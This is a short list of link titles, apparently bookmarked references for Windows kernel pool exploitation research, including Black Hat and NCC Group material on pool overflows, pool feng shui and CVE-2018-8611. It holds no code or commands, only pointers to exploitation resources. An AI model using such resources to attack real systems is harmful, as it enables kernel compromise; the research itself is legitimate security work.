c++ - Is it good to use ntdll.dll in a win32 console application? - Stack Overflow

disassembly - Appropriate function to set NTFS extended attributes: ZwSetEaFile or NtSetEaFile - Reverse Engineering Stack Exchange

Windows Pool OverFlow漏洞利用 (360.net)

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf

The Windows Notification Facility - PDF Free Download (docplayer.net)

wininc/ntexapi.h - external/github.com/DynamoRIO/drmemory - Git at Google (googlesource.com)

Windows内核池风水利用工具研究 - 安全客,安全资讯平台 (anquanke.com)

CVE-2018-8611 Exploiting Windows KTM Part 5/5 – Vulnerability detection and a better read/write primitive – NCC Group Research